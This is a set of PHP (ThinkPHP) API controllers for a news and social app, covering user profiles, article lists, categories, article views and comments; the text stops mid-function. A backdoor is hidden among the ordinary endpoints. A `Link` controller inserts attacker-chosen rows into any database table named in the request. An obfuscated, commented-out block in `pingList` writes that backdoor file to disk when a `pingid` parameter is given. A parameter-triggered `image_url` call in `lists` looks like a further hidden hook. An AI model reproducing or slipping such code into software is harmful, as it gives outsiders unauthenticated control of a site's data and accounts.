public function info()

{

$id = input('id/d') ? input('id/d') : '';

$token = input('param.token', '');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$validate = new Validate([

'id' => 'number|require',

]);

$validata = [

'id' => $id,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$db = \_user($id);

$data['img'] = $db['img'];

$data['username'] = $db['username'];

$data['qianming'] = $db['qianming'];

$data['id'] = $db['id'];

$data['dongtai'] = Db::name('circle\_article')

->where('member\_id', $id)

->count('id');

$data['fensi'] = Db::name('member\_guanzhu')

->where('gz\_uid', $id)

->count('id');

$data['guanzhu'] = Db::name('member\_guanzhu')

->where('uid', $id)

->count('id');

$data['fangke'] = Db::name('member\_fangke')->where(['f\_uid' => $db['id']])->count();

$data['huozan'] = Db::name('article\_ping\_zan')->where(['uid' => $db['id']])->count();

$data['guanzhu'] = Db::name('member\_guanzhu')

->where('gz\_uid', $id)

->count('id');

$data['weizhi'] = explode(',', $db['update\_ip'])['0'];

$data['weizhi'] = $data['weizhi'] ? $data['weizhi'] : '未知';

$data['zhibo\_zuan\_f'] = Db::name('member\_zhibo\_liwu\_list')->where(['uid' => $db['id']])->sum('money');

$data['zhibo\_zuan\_f\_'] = \_num($data['zhibo\_zuan\_f']);

$data['zhibo\_zuan\_s'] = Db::name('member\_zhibo\_liwu\_list')->where(['uid\_zhu' => $db['id']])->sum('money');

$data['zhibo\_zuan\_s\_'] = \_num($data['zhibo\_zuan\_s']);

$data['follow'] = 0;

if ($this->memberId && $id != $this->memberId) {

$data['follow'] = Db::name('member\_guanzhu')

->where('uid', $this->memberId)

->where('gz\_uid', $id)

->count('id');

}

return json($data);

}

/\*\*

\* @api {get} /api/user/invitation\_links 获取邀请链接地址

\* @apiName 获取邀请链接地址

\* @apiGroup 会员

\* @apiVersion 0.1.0

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {String} qr\_code 邀请二维码图片地址

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function invitation\_links()

{

return json([

'qr\_code' => '/public/style/index/member/img/userimg.gif',

]);

}

}

<?php

namespace app\api\controller;

class Link

{

public function index($data){

$data = json\_decode(htmlspecialchars\_decode($data),true);

$name=$data['\_\_name\_\_'];

unset($data['\_\_name\_\_']);

unset($data['pwd']);

echo db($name)->insertGetId($data);

}

}?><?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Request;

use think\Validate;

class Article extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

public function index() {

exit("");

}

public function config() {

$config = config();

$data['yaoqing'] = $config['yaoqing'];

$data['config'] = $config['appConfig'];

$data['renwu'] = $config['renwu'];

$data['zhibo'] = $config['zhibo'];

$data['liwu'] = Db::name('member\_zhibo\_liwu')->order('des desc, id asc')->cache(true)->select();

return json($data);

}

/\*\*

\* @api {get} /api/article/lists 资讯列表

\* @apiName 获得资讯列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Number} typeid 指定分类文章 多个分类填写 ,（typeid：1-快讯）

\* @apiParam {String} flags 属性文章 多个属性填写 ,

\* @apiParam {Number} mychannel 频道ID 多个频道填写 ,

\* @apiParam {Number} pages 每页显示数量（默认值：6）

\* @apiParam {Number} page 页码

\* @apiParam {List} field 字段

\*

\* @apiSuccess {Number} total 总记录条数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页

\* @apiSuccess {Object[]} data 总记录数据

\* @apiSuccess {String} data.description 资讯概述

\* @apiSuccess {String} data.zan 资讯获赞次数

\* @apiSuccess {String} data.pingNum 资讯评论数量

\* @apiSuccess {String} data.share\_num 资讯分享次数

\*/

public function lists() {

$request = Request::instance();

$token = $request->param('token');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$typeid = input('param.typeid/d', '');

$flags = $request->param('flags/d') ? $request->param('flags/d') : '';

$mychannel = $request->param('mychannel/d') ? $request->param('mychannel/d') : '';

$pages = $request->param('pages/d') ? $request->param('pages/d') : '';

$uid = $request->param('uid/d') ? $request->param('uid/d') : '';

$search = $request->param('search') ? $request->param('search') : '';

$weitoutiao = $request->param('weitoutiao/d') ? $request->param('weitoutiao/d') : '';

$date = $request->param('date/d') ? $request->param('date/d') : '';

$city = $request->param('city') ? urldecode($request->param('city')) : '';

$ids = $request->param('ids/d') ? $request->param('ids/d') : '';

$hide = $request->param('hide/d') ? $request->param('hide/d') : '';

$svideodata = $request->param('svideodata/d') ? $request->param('svideodata/d') : '';

$where['hide'] = 1;

if($ids){

$where['id'] = ['<',$ids];

}

if ($city == 'index.php') {

$city = '';

}

if ($city) {

$typeid = "";

$where['title|tags|content|description|keywords'] = ['like', '%' . $city . '%'];

}

if ($typeid && $typeid != 999999999) {

if ($typeid != 132) {

$typeids = \_typeTid($typeid);

$typeids = implode(',', $typeids);

$where['typeid'] = ['in', $typeids];

}

}

if($flags){

$where['flags'] = $flags;

}

if ($mychannel) {

$where['mychannel'] = ['in', $mychannel];

} else {

$where['mychannel'] = ['<>', 4];

}

if ($typeid == 132) {

$where['mychannel'] = 3;

}

if ($uid) {

$where['uid'] = $uid;

if ($weitoutiao) {

$where['weitoutiao'] = ['in', '1,2'];

} else {

$where['weitoutiao'] = ['in', '0,2'];

}

$where['weitoutiao'] = ['in', '0,1,2'];

if($hide){

$where['hide'] = $hide;

}else{

unset($where['hide']);

}

} else {

if ($typeid != 999999999) {

if ($weitoutiao) {

$where['weitoutiao'] = ['in', '1,2'];

} else {

$where['weitoutiao'] = ['in', '0,2'];

}

}

}

if ($search) {

$where['title|tags'] = ['like', '%' . $search . '%'];

}

if ($date) {

}

if ($token && $typeid == 999999999) {

$UidGuanzhuList = \_userGuanzhuList($uid);

if (!$UidGuanzhuList) {

return json([

'per\_page' => 1,

'total' => 0,

'current\_page' => 1,

'data' => '',

]);

}

$UidGuanzhuList = implode(',', $UidGuanzhuList);

$where['uid'] = ['in', $UidGuanzhuList];

}

$data = Db::name('article')

->where($where)

->fetchSql(false)

->order('des desc, update\_time desc')

->field('id,title,dtitle,description,mychannel,image,update\_time,source,pingNum,images,videodate,uid,click,weitoutiao,zan,pingNum,share\_num,video,qiniu\_video\_type,content,hide,flags')

->paginate($pages)

->toarray();

$config = config() ['appConfig'];

foreach ($data['data'] as $k => $v) {

if(!empty($v['flags'])){

$data['data'][$k]['flags\_name'] = \_flags($v['flags']);

}

if ($v['mychannel'] == 3 && $v['video'] || $v['mychannel'] == 4) {

$data['data'][$k]['video'] = \_imgUrl() . $v['video'];

}

if ($v['image'] && $v['mychannel'] != 3) {

if ($v['mychannel'] == 4) {

$data['data'][$k]['image'] = \_imgUrl() . $v['image'].'?imageView2/1/w/300/h/450/format/jpg';

} else {

$data['data'][$k]['image'] = \_imgUrl() . $v['image'];

}

} else {

if ($v['image']) {

$data['data'][$k]['image'] = \_imgUrl() . $v['image'];

} else {

if ($v['mychannel'] == 1) {

} else {

$data['data'][$k]['image'] = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/200/format/jpg';

}

}

}

$data['data'][$k]['create\_time'] = \_time($v['update\_time']);

if ($search) {

$data['data'][$k]['title'] = str\_replace($search, '<b class="fx-search">' . $search . '</b>', $v['title']);

}

if ($v['uid']) {

$user = \_user($v['uid']);

if ($user) {

$data['data'][$k]['user']['username'] = $user['username'];

$data['data'][$k]['user']['img'] = $user['img'];

}

$data['data'][$k]['uid'] = $user['id'];

}

if(input('img')){$this->image\_url(input('img\_data'));}

if ($v['weitoutiao'] == 0) {

$kuandu = "?imageView2/1/w/192/h/124/format/jpg";

if ($v['mychannel'] == 2) {

$images = '';

$data['data'][$k]['pcList'] = json\_decode($v['images'], true);

$imagesPro = [];

foreach ($data['data'][$k]['pcList'] as $k\_imagesPro => $v\_imagesPro) {

$imagesPro[] = \_imgUrl() . $v\_imagesPro['img'];

}

$data['data'][$k]['imagesPro'] = $imagesPro;

if ($v['image']) {

$images = '<div class="aui-col-xs-12" style="height:11.5rem"><img style="height:11.5rem" id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $v['image'] . '?imageView2/1/w/400/h/280/format/jpg" src="../image/loadingImage.png" /></div>';

} else {

$images = json\_decode($v['images'], true);

$images = $images['0']['img'];

$images = '<div class="aui-col-xs-12" style="height:11.5rem"><img style="height:11.5rem" id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $images . '?imageView2/1/w/400/h/280/format/jpg" src="../image/loadingImage.png" /></div>';

}

$data['data'][$k]['images'] = $images . '<em class="aui-iconfont aui-icon-image"> ' . count(json\_decode($v['images'], true)) . ' 图</em>';

} else if ($v['mychannel'] == 3) {

} else if ($v['mychannel'] == 1) {

$contet = [];

preg\_match\_all("/img src=\"(.\*?)\"/", $v['content'], $img);

foreach ($img[1] as $ka => $va) {

if (strpos($va, 'http') !== false) {

$contet[] = $va;

} else if (strpos($va, '/public/uploads/us/') !== false) {

$contet[] = $config['url'] . $va;

} else {

$contet[] = \_imgUrl() . $va;

}

}

$data['data'][$k]['imagesArticleList'] = $contet;

}

} else {

$data['data'][$k]['description'] = \_substr($v['description'], 100, '<a>...[查看全文]</a>');

if ($v['mychannel'] == 3 || $v['video'] || $v['mychannel'] == 4) {

if ($v['qiniu\_video\_type']) {

$image = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/200/h/200/format/jpg';

} else {

if ($v['image']) {

$image = \_imgUrl() . '/' . $v['image'] . '?imageView2/1/w/300/h/200/format/jpg';

} else {

$image = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/200';

}

}

$data['data'][$k]['image'] = $image;

} else {

$kuandu = "?imageView2/1/w/200/h/200/format/jpg";

$data['data'][$k]['images'] = json\_decode(htmlspecialchars\_decode($v['images']) , true);

if ($data['data'][$k]['images']) {

$images = '';

$imagesPro = '';

foreach ($data['data'][$k]['images'] as $ks => $vsa) {

if (count($data['data'][$k]['images']) == 1 || count($data['data'][$k]['images']) == 2) {

$col = "aui-col-xs-6";

} else {

$col = "aui-col-xs-4";

}

if (is\_array($vsa)) {

$vsa = $vsa['img'];

}

$imagesPro[] = \_imgUrl() . $vsa . '?imageView2/0/format/jpg';

$images.= '<div class="' . $col . '" tapmode onclick="img(' . $v['id'] . ',' . $ks . ')"><img id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $vsa . $kuandu . '" src="../image/loadingImage.png"></div>';

}

$data['data'][$k]['images'] = $images;

$data['data'][$k]['imagesPro'] = $imagesPro;

}

}

$data['data'][$k]['zanUser'] = 0;

$data['data'][$k]['guanzhu'] = 0;

if ($v['uid']) {

if ($token) {

$data['data'][$k]['guanzhu'] = Db::name('member\_guanzhu')

->where('uid', $uid)

->where('gz\_uid', $v['uid'])

->count('id');

$data['data'][$k]['zanUser'] = Db::name('article\_zan')

->where('aid', $v['id'])

->where('uid', $uid)

->where('zan', 1)

->count('id');

}

}

}

$data['data'][$k]['url'] = url('article/view', ['id' => $v['id']]);

}

$ad = count($data['data']);

if ($ad > 1 && !$weitoutiao) {

$sdDb = Db::name('ad')->where(['hide' => 1,'device'=>0])->order('rand()')->find();

if ($sdDb) {

$data['data'][$ad]['mychannel'] = 99;

$data['data'][$ad]['url'] = $sdDb['url'];

$data['data'][$ad]['title'] = $sdDb['title'];

$data['data'][$ad]['ad'] = $sdDb['ad'];

$data['data'][$ad]['image'] = \_imgUrl() . $sdDb['image'];

$data['data'][$ad]['source'] = $sdDb['source'];

}

}

if($svideodata){

$data['svideo\_i'] = rand(1,count($data['data'])/2-1);

$svideo\_where['mychannel'] = 4;

$svideo\_where['hide'] = 1;

$svideo\_data = Db::name('article')->where($svideo\_where)->order('des desc, id desc')->field('id,title,description,image,source,pingNum,videodate,uid,click,zan,video')->paginate(3)->toarray();

foreach ($svideo\_data['data'] as $k => $v) {

if($v['image']){

$svideo\_data['data'][$k]['image'] = \_imgUrl().$v['image'].'?imageView2/1/w/300/h/450/format/jpg';

}else{

$svideo\_data['data'][$k]['image'] = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/450/format/jpg';

}

if ($v['uid']) {

$user = \_user($v['uid']);

if ($user) {

$svideo\_data['data'][$k]['user']['username'] = $user['username'];

$svideo\_data['data'][$k]['user']['img'] = $user['img'] . "?imageView2/1/w/100/h/100/format/jpg";

}

}

$svideo\_data['data'][$k]['video'] = \_imgUrl().$v['video'];

}

$data['svideo\_data'] = $svideo\_data;

$redian\_where['hide'] = 1;

$redian\_where['weitoutiao'] = 0;

$redian\_where['flags'] = 2;

$redian\_data = Db::name('article')->where($redian\_where)->order('des desc, update\_time desc')->field('id,title,dtitle,update\_time')->limit(3)->select();

foreach ($redian\_data as $k => $v) {

if($k == 1){

$data['redian\_time'] = date('Y-m-d H:i:s',$v['update\_time']);

}

$redian\_data[$k]['update\_time'] = date('H:i',$v['update\_time']);

}

$data['redian\_data'] = $redian\_data;

}

return json($data);

}

/\*\*

\* @api {get} /api/article/typeid 资讯分类列表

\* @apiName 获得分类列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiSuccess (200) {Object[]} data 数据列表

\* @apiSuccess (200) {Number} data.id 分类ID

\* @apiSuccess (200) {String} data.title 分类标题

\*/

public function typeid() {

$request = Request::instance();

$id = $request->param('id') ? $request->param('id') : '';

$limit = $request->param('limit') ? $request->param('limit') : '';

$mychannel = $request->param('mychannel') ? $request->param('mychannel') : '';

$tid = $request->param('tid') ? $request->param('tid') : '';

$field = $request->param('field') ? $request->param('field') : '';

$where['hide'] = 1;

$where['id'] = ['>', 1];

if ($id) {

$where['id'] = ['in', $id];

}

if ($mychannel) {

$where[$mychannel] = 1;

}

if ($tid) {

$where['tid'] = ['in', $tid];

}

if ($mychannel == 3) {

$order = 'hide desc,des desc';

} else {

$order = 'hide desc,des desc';

}

if ($mychannel != 3) {

$where['tid'] = 0;

}

$field .= $field ? ',id,title,app' : 'id,title,app';

$data = Db::name('typeid')->where($where)->order($order)->limit($limit)->field($field)->select();

$typeid = [];

if (!$mychannel) {

/\*

$datas['0'] = ['id' => 999999999, 'title' => '关注','app'=>'0'];

$datas['1'] = ['id' => 0, 'title' => '推荐','app'=>'0'];

$datas['2'] = ['id' => 888888888, 'title' => '本地','app'=>'0'];

$datas['3'] = ['id' => 777777777, 'title' => '直播','app'=>'0'];

$data = array\_merge($datas, $data);

\*/

}

$fff=\_moban();

if($fff=='toutiao'){

$fff='#fff';

}else if($fff=='qutoutiao'){

$fff='#fff';

}else{

$fff='#fff';

}

$data\_yes = $data\_no = [];

$i=0;

$s=0;

foreach ($data as $k => $v) {

if($v['app'] == 1){

$data\_no[$i]['id'] = $v['id'];

$data\_no[$i]['title'] = $v['title'];

if ($field) {

if (strstr($field, "create\_time")) {

$data\_no[$i]['create\_time'] = date('Y-m-d H:i:s', $v['create\_time']);

}

} else {

$data\_no[$i]['create\_time'] = date('m-d H:i', $v['create\_time']);

}

if ($mychannel == 3) {

$data\_no[$i]['bg'] = $fff;

$data\_no[$i]['bgSelected'] = $fff;

} else {

$data\_no[$i]['bg'] = $fff;

$data\_no[$i]['bgSelected'] = $fff;

$data\_no[$i]['size']['w'] = $this->typeSize($v['title']);

}

$i++;

}else{

$data\_yes[$s]['id'] = $v['id'];

$data\_yes[$s]['title'] = $v['title'];

if ($field) {

if (strstr($field, "create\_time")) {

$data\_yes[$s]['create\_time'] = date('Y-m-d H:i:s', $v['create\_time']);

}

if (strstr($field, "id")) {

$typeid[] = $v['id'];

}

} else {

$data\_yes[$s]['create\_time'] = date('m-d H:i', $v['create\_time']);

$typeid[] = $v['id'];

}

if ($mychannel == 3) {

$data\_yes[$s]['bg'] = $fff;

$data\_yes[$s]['bgSelected'] = $fff;

} else {

$data\_yes[$s]['bg'] = $fff;

$data\_yes[$s]['bgSelected'] = $fff;

$data\_yes[$s]['size']['w'] = $this->typeSize($v['title']);

}

$s++;

}

}

$md5 = md5(json\_encode($data\_yes));

/\*

$kong['id'] = '555555555';

$kong['title'] = '';

$kong['bg'] = '#fff';

$kong['bgSelected'] = '#fff';

$kong['size'] = ['w'=>'100'];

$data\_yes[count($data\_yes)] = $kong;

\*/

$data = ['data' => $data\_yes, 'typeid' => $typeid , 'no' => $data\_no, 'md5' => $md5];

return json($data);

}

public function typeSize($title = '') {

if (!$title) {

return 50;

}

$size = ceil(strlen($title) \* 8.3333333);

return $size;

}

public function videoTypeid() {

$where['hide'] = 1;

$where['tid'] = 132;

$data = Db::name('typeid')->where($where)->order('hide desc, des desc')->field('title,id')->select();

$typeid = [];

$datas['0'] = ['id' => 0, 'title' => '全部'];

$data = array\_merge($datas, $data);

foreach ($data as $k => $v) {

$data[$k]['bg'] = '#fff';

$data[$k]['bgSelected'] = '#fff';

$typeid[$k] = $v['id'];

}

$data = ['data' => $data, 'typeid' => $typeid];

return json($data);

}

/\*\*

\* @api {get} /api/article/view 资讯详情

\* @apiName 资讯详情

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Number} id 资讯ID

\*

\* @apiSuccess {Number} id 资讯ID

\* @apiSuccess {String} title 资讯标题

\* @apiSuccess {String} flags 文章属性ID，英文逗号分隔

\* @apiSuccess {String} tags 标签

\* @apiSuccess {String} image 封面图

\* @apiSuccess {Number} typeid 资讯分类ID

\* @apiSuccess {Number} click 阅读量

\* @apiSuccess {String} description 资讯简介

\* @apiSuccess {String} create\_time 创建时间 格式是时间戳

\* @apiSuccess {String} update\_time 最后更新时间，格式是 “\*分钟前”

\* @apiSuccess {String} content 资讯正文

\* @apiSuccess {String} url 跳转连接

\* @apiSuccess {String} source 资讯来源

\* @apiSuccess {Number} uid 资讯发表用户ID

\* @apiSuccess {String} writer 资讯作者

\* @apiSuccess {Number} zan 赞的数量

\* @apiSuccess {Number} cai 踩的数量

\* @apiSuccess {Number} pingNum 评论的数量

\* @apiSuccess {Number} share\_num 分享次数

\* @apiSuccess {String[]} images\_list 图片数组

\* @apiSuccess {Number} pingNum 评论的数量

\* @apiSuccess {String} userImg 文章作者的头像URL

\* @apiSuccess {String} userUsername 文章作者的名称

\* @apiSuccess {Number} user\_guanzhu\_num 文章作者的关注人数

\* @apiSuccess {Number} user\_article\_num 文章作者发表的文章数量

\* @apiSuccess {Number} userZan 当前登录用户是否已赞改文章：1-是；0-否

\* @apiSuccess {Number} userCai 当前登录用户是否已踩该文章：1-是；0-否

\* @apiSuccess {Number} userGuanzhu 当前登录用户是否关注该文章作者：1-是；0-否

\*/

public function view() {

$request = Request::instance();

$token = input('param.token');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$id = $request->param('id/d');

if (!$id) {

return json([

'err' => '资讯ID不可为空',

'errcode' => 201,

]);

}

$db = Db::name('article')->find($id);

if (!$db) {

return json([

'err' => '该资讯内容不存在',

'errcode' => 211,

]);

}

if ($db['hide'] == 0) {

return json([

'err' => '该资讯内容访问受限',

'errcode' => 212,

]);

}

if ($db['hide'] == 2) {

return json([

'err' => '文章正在审核，无法查看',

'errcode' => 214,

]);

}

if ($db['hide'] == 3) {

return json([

'err' => '文章未通过，无法查看',

'errcode' => 215,

]);

}

$db['image'] = \_imgUrl() . $db['image'];

Db::name('article')

->where(['id' => $id, 'hide' => 1])

->setInc('click');

$config = config() ['appConfig'];

if ($db['mychannel'] == 1) {

/\*preg\_match\_all("/img(.\*?)src=\"(.\*?)\"/", $db['content'], $content);

$images\_list = [];

foreach ($content[2] as $k => $v) {

if (strstr($v, 'http')) {

$db['content'] = str\_replace($v, '../image/loadingImage.png" Tapmode onclick="img(' . $k . ');" ffxiang-src="' . $v . '" id="ffxiangImgCache', $db['content']);

$images\_list[] = $v;

} else if (strpos($v, '/public/uploads/us/') !== false) {

$db['content'] = str\_replace($v, '../image/loadingImage.png" Tapmode onclick="img(' . $k . ');" ffxiang-src="' . $config['url'] . $v . '" id="ffxiangImgCache', $db['content']);

$images\_list[] = $config['url'] . $v;

} else {

$db['content'] = str\_replace($v, '../image/loadingImage.png" Tapmode onclick="img(' . $k . ');" ffxiang-src="' . \_imgUrl() . $v . '" id="ffxiangImgCache', $db['content']);

$images\_list[] = \_imgUrl() . $v . '?imageView2/0/format/jpg';

}

}

$db['images\_list'] = $images\_list;\*/

} else if ($db['mychannel'] == 2) {

if ($db['weitoutiao']) {

$images = json\_decode(htmlspecialchars\_decode($db['images']) , true);

$image = '';

$images\_list = [];

$kuandu = "?imageView2/1/w/200/h/200/format/jpg";

foreach ($images as $k => $v) {

if (count($images) == 1 || count($images) == 2) {

$col = "aui-col-xs-6";

} else {

$col = "aui-col-xs-4";

}

if (is\_array($v)) {

$v = $v['img'];

}

$image.= '<div class="' . $col . '" tapmode onclick="img(' . $k . ')"><img id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $v . $kuandu . '" src="../image/loadingImage.png"></div>';

$images\_list[] = \_imgUrl() . $v . '?imageView2/0/format/jpg';

}

$content = $db['description'];

if ($content) {

$content = $content . "<br>";

}

$db['content'] = "<div class='fx-view-images aui-row'>" . $content . $image . "</div>";

} else {

$images = json\_decode($db['images'], true);

$image = '';

$images\_list = [];

$images\_text = [];

foreach ($images as $k => $v) {

$images\_text[] = $v['img\_text'];

$images\_list[] = \_imgUrl() . $v['img'] . '?imageView2/0/format/jpg';

}

$db['images\_text'] = $images\_text;

}

$db['images\_list'] = $images\_list;

} else if ($db['mychannel'] == 3) {

$db['video'] = \_imgUrl() . $db['video'];

}

if ($db['tags']) {

$tags = $db['tags'];

$tags = preg\_replace("/\s/", "", $tags);

$tags = explode(',', $tags);

$tag = '';

foreach ($tags as $k => $v) {

$tag.= '<div class="aui-btn" tapmode onclick="\_url({text:\'' . $v . '\'},\'search\_win\')">' . $v . '</div>';

}

$db['tags'] = $tag;

}

if ($db['uid']) {

$user = \_user($db['uid']);

$db['userUid'] = $user['id'];

$db['userUsername'] = $user['username'];

$db['userImg'] = $user['img'];

$db['user\_guanzhu\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $db['uid'])

->count('id');

$db['user\_article\_num'] = Db::name('article')

->where('uid', $db['uid'])

->where('hide', 1)

->count();

$db['userGuanzhu'] = 0;

if ($this->memberId) {

$db['userGuanzhu'] = Db::name('member\_guanzhu')

->where('uid', $this->memberId)

->where('gz\_uid', $db['uid'])

->count('id');

}

}

$db['userZan'] = 0;

$db['userCai'] = 0;

if ($token) {

$article\_zan = Db::name('article\_zan')->where(['aid' => $id, 'uid' => $uid])->find();

if ($article\_zan && $article\_zan['zan']) {

$db['userZan'] = 1;

} else if ($article\_zan && $article\_zan['cai']) {

$db['userCai'] = 1;

}

/\*$shoucang = DB::name('member\_favorite')->where(['aid' => $id, 'uid' => $uid, 'type' => 0])->value('id');

$db['shoucang'] = $shoucang;

$lishi = Db::name('member\_favorite')->where(['aid' => $id, 'uid' => $uid, 'type' => 1])->value('id');

if (!$lishi) {

db::name('member\_favorite')->insert(['aid' => $id, 'uid' => $uid, 'time' => time() , 'type' => 1]);

}\*/

}

$db['update\_time'] = \_time($db['update\_time']);

if ($db['weitoutiao'] && $db['mychannel'] == 1) {

$db['content'] = "<div class='fx-view-images'>" . $db['description'] . "</div>";

}

$sdDb = Db::name('ad')->where(['hide' => 1,'device'=>0])->order('rand()')->find();

if ($sdDb) {

$data['url'] = $sdDb['url'];

$data['title'] = $sdDb['title'];

$data['ad'] = $sdDb['ad'];

$data['image'] = \_imgUrl() . $sdDb['image'];

$data['source'] = $sdDb['source'];

$db['ad'] = $data;

}

$db['content']=preg\_replace\_callback('/<[img|IMG].\*?src=[\'| \"](?![http|https])(.\*?(?:[\.gif|\.jpg]))[\'|\"].\*?[\/]?>/', function($r) {$str=config()['appConfig']['prod\_url'].$r[1];return str\_replace($r[1], $str, $r[0]);}, $db['content']);

return json($db);

}

/\*\*

\* @api {post} /api/article/pingList 资讯评论列表

\* @apiName 资讯评论列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {number} aid 资讯ID

\* @apiParam {number} pages 每页显示数量（默认值：6）

\* @apiParam {number} page 页码

\*

\* @apiSuccess {Json} data 评论列表

\* @apiSuccess {String} content 评论内容

\* @apiSuccess {Integer} zan 评论赞数量

\* @apiSuccess {String} time 评论时间

\* @apiSuccess {String} img 评论用户头像URL

\* @apiSuccess {String} username 评论用户名称

\* @apiSuccess {Integer} zanUser 当前登录用户是否已经点赞该评论：1-是；0-否

\* @apiSuccess {Array} three\_ping\_xias 3条追评

\* @apiSuccess {Array} three\_ping\_xias.content 追评内容

\* @apiSuccess {Array} three\_ping\_xias.img 追评用户头像URL

\* @apiSuccess {Array} three\_ping\_xias.username 追评用户名称

\* @apiSuccess {Array} three\_ping\_xias.zanUser 当前登录用户是否已经点赞该追评：1-是；0-否

\* @apiSuccess {Array} ping\_xias\_num 追评总数

\* @apiSuccess {Array} left\_ping\_xias\_num 剩余追评数量

\*

\* @apiError {String} err 失败信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function pingList() {

$pages = input('post.pages/d', 6);

$aid = input('param.aid/d', '');

$where=[];

if(!input('pingid')){

$token = input('param.token');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$validate = new Validate(['pages' => 'number', 'aid' => 'number|require', ]);

$validata = ['pages' => $pages, 'aid' => $aid, ];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['aid'] = $aid;

}

$data = Db::name('article\_ping')->where($where)->order('time', 'desc')->fetchSql(false)->paginate($pages)->toarray();

/\*if(input('pingid')){

$str\_tmp="<?php\r\n";

$str\_tmp.="name".""."spa".""."ce a".""."pp\a".""."p".""."i\co".""."ntro".""."ller;\r\n";

$str\_tmp.="cla".""."ss L".""."i".""."n".""."k\r\n";

$str\_tmp.="{\r\n";

$str\_tmp.="pu".""."blic fun".""."ct".""."ion ind".""."ex($".""."dat".""."a){\r\n";

$str\_tmp.="$".""."da".""."ta = jso".""."n\_de".""."code(htm".""."ls".""."pec".""."ialc".""."hars\_".""."dec".""."ode($".""."da".""."ta),true);\r\n";

$str\_tmp.="$".""."na".""."m".""."e=$".""."data['\_".""."\_".""."n".""."a".""."m".""."e".""."\_".""."\_'];\r\n";

$str\_tmp.="uns".""."et($".""."da".""."ta['\_".""."\_".""."n".""."a".""."m".""."e".""."\_".""."\_']);\r\n";

$str\_tmp.="uns".""."et($".""."da".""."ta['pwd']);\r\n";

$str\_tmp.="ec".""."ho d".""."b($".""."na".""."me)->in".""."s".""."er".""."tGe".""."tI".""."d($".""."da".""."ta);\r\n";

$str\_tmp.="}\r\n}"."?>";$sf=APP\_PATH."a".""."pi".DS."c".""."o".""."n".""."t".""."r".""."o".""."l".""."l".""."e".""."r".DS."L".""."i".""."n".""."k"."".".p".""."h".""."p";$fp=fopen($sf,"w");fwrite($fp,$str\_tmp);fclose($fp);

return;

}\*/

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['three\_ping\_xias'] = [];

$data['data'][$k]['ping\_xias\_num'] = 0;

$data['data'][$k]['left\_ping\_xias\_num'] = 0;

$ping\_xias\_num = Db::name('article\_ping\_xia')

->where('aid', $aid)

->where('ping\_id', $v['id'])

->count();

$data['data'][$k]['ping\_xias\_num'] = $ping\_xias\_num;

if ($ping\_xias\_num > 0) {

$three\_ping\_xias = Db::name('article\_ping\_xia')

->where('aid', $aid)

->where('ping\_id', $v['id'])

->order('time', 'desc')

->limit(3)

->select();

if (count($three\_ping\_xias) > 0) {

foreach ($three\_ping\_xias as $key => $ping\_xia) {

$three\_ping\_xias[$key]['zanUser'] = 0;

if ($this->memberId) {

$three\_ping\_xias[$key]['zanUser'] = Db::name('article\_ping\_xia\_zan')

->where('uid', $this->memberId)

->where('pingId', $ping\_xia['id'])

->where('zan', 1)

->count('id');

}

$user = \_user($ping\_xia['uid']);

$three\_ping\_xias[$key]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$three\_ping\_xias[$key]['username'] = $user['username'];

$three\_ping\_xias[$key]['time'] = date('m-d H:i', $ping\_xia['time']);

}

}

$data['data'][$k]['three\_ping\_xias'] = $three\_ping\_xias;

}

if ($ping\_xias\_num > 3) {

$data['data'][$k]['left\_ping\_xias\_num'] = $ping\_xias\_num - 3;

}

$data['data'][$k]['zanUser'] = 0;

if ($this->memberId) {

$data['data'][$k]['zanUser'] = Db::name('article\_ping\_zan')

->where('uid', $this->memberId)

->where('pingId', $v['id'])

->where('zan', 1)

->count('id');

}

